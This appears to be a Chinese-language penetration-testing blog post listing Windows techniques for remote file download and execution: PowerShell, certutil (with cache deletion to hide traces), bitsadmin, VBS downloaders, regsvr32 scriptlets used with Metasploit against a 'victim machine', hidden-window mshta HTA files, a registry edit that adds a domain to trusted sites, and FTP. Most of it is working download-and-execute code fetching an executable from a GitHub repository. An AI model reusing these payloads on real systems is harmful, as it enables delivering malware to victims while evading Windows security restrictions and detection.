1.使用 powershell 的 Syetem.Net.WebClient 进行下载
powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe','C:\Users\31030\Desktop\tools\test\calc.exe')
2.使用 Invoke-WebRequest 进行下载
powershell (Invoke-WebRequest -Uri "https://github.com/HoldOnToYourHeart/nc/raw/cafb11118be48803396d472ca85c3e7c099b4891/calc.exe" -OutFile "C:\Users\31030\Desktop\tools\test\calc2.exe")
3.使用 certutil
注:certutil用于备份证书服务xp-win10都支持,由于certutil下载文件都会留下缓存,所以一般都建议下载完文件后对缓存进行删除。
缓存目录为:"%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content"
#下载文件
certutil -urlcache -split -f https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe calc3.exe
#删除缓存
certutil -urlcache -split -f https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe delete
4.使用 bitsadmin
注:bitsadmin是一个命令行工具,可用于创建下载或上载作业并监视其进度
适用范围:"Windows Server (Semi-Annual Channel), Windows Server 2016, Windows Server 2012 R2, Windows Server 2012,Windows 7,Windows 10"
bitsadmin /transfer n https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe C:\Users\31030\Desktop\tools\test\calc4.exe
5.利用VBS脚本进行下载
注:将其保存为VBS脚本,可直接在CMD中进行运行。再实际运用中可以选择使用echo写入到文件中,在运行
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
http.open "GET","https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "C:\Users\31030\Desktop\tools\test\calc5.exe"
ado.Close
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("Msxml2.ServerXMLHTTP.6.0")
http.SetOption 2, 13056
http.open "GET","https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "C:\Users\31030\Desktop\tools\test\calc6.exe"
ado.Close
6.regsvr32
注:regsvr32表示Microsoft注册服务
语法:Regsvr32 [/s][/u] [/n] [/i[:cmdline]] <dllname>
这里我使用msf来做个演示:
客户端执行
受害机已经上线
这里来简单看一下,首先msf是启动了一个服务,并生成了一个.sct文件。并且可以看到,这个文件中使用WScript.shell 去调用了powershell下载并执行另外一段powershell命令。
所以到这里,我们也就可以通过自己构造.sct文件,去下载执行我们的程序。这里我使用的是上面VBS代码去下载的文件。当然我们也可以通过new ActiveXObject("WScript.Shell").Run()去执行命令或者运行程序。
sct文件如下:
<?XML version="1.0"?>
<scriptlet>
<registration progid="Lwj8h8Cd" classid="{d27b2c13-7e63-b507-eaf0-b4fb4df40559}">
<script language="VBScript.Encode">
<![CDATA[
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("Msxml2.ServerXMLHTTP.6.0")
http.SetOption 2, 13056
http.open "GET","https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "C:\Users\31030\Desktop\tools\test\calc8.exe"
ado.Close
]]>
</script>
</registration>
</scriptlet>
7.mshta
mshta用于执行.hta文件。而hta是HTML Applocation 的缩写,也就是HTML应用程序。而hta中也支持VBS。所以我们可以利用hta来下载文件。
如下:
<HTML>
<meta http-equiv="x-ua-compatible" content="text/html; charset=utf-8; IE=5">
<HEAD>
<script language="VBScript.Encode">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("Msxml2.ServerXMLHTTP.6.0")
http.SetOption 2, 13056
http.open "GET","https://github.com/HoldOnToYourHeart/nc/raw/master/calc.exe",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "C:\Users\31030\Desktop\tools\test\calc9.exe"
ado.Close
</script>
<body>
test file
</body>
</HEAD>
</HTML>
这里我把hta文件放到博客中进行测试,mshta提示了错误,其错误原因是我们的域名并不受信任。
而Windows的受信任域名保存在注册表(HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains)中,所以我们可以命令行中直接添加注册表即可
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\holdontoyourheart.github.io" /v https /t REG_DWORD /d 0x00000002 /f
可以看到在注册表中已经添加了我们的域名,并且在Internet中的受信任站点也将我们的域名显示出来。
这个时候我们在去执行一次,可以发现已经成功下载
之所以需要添加到受信任站点,才能执行下载程序的操作是因为Windows本身的安全限制所导致的。所以当我们通过VBScript去下载未信任域名中的程序的时候就会受到限制。
但是我们却可以通过不受信任的域名,使用VBS去执行命令。这里我先将注册表中的信任域名进行删除。然后利用hta文件启动计算器。这里没有任何错误提示
代码如下:
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
所以到这里,我们能够通过mshta去执行命令,那么我们就可以完全不必再局限于通过VBS去进行下载了。这里我们尝试调用powershell去进行下载。
hat代码如下:
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell (Invoke-WebRequest -Uri 'https://github.com/HoldOnToYourHeart/nc/raw/cafb11118be48803396d472ca85c3e7c099b4891/calc.exe' -OutFile 'C:\Users\31030\Desktop\tools\test\calc10.exe')"
self.close
</script>
<body>
test
</body>
</HEAD>
</HTML>
运行效果:(由于我没有使用hidden进行隐藏,所以在运行的时候回弹出一个powershell的界面出来)
mshta https://holdontoyourheart.github.io/2019/01/02/Nessus%E6%8A%A5%E5%91%8A%E6%B1%89%E5%8C%96%E7%AF%87%E4%BA%8C/1.hta
8.ftp
首先我在我的win7虚拟机创建了一个ftp服务器。地址为192.168.52.128
然后我在物理机中执行以下命令
#首先将命令使用ehco写入到文件中
echo open 192.168.52.128 >a.txt & echo get calc.exe>>a.txt &echo bye>>a.txt
#使用ftp进行下载,可以看到已经下载成功。
ftp -A -s:a.txt
ftp命令总结参考:https://www.cnblogs.com/judes/p/9674413.html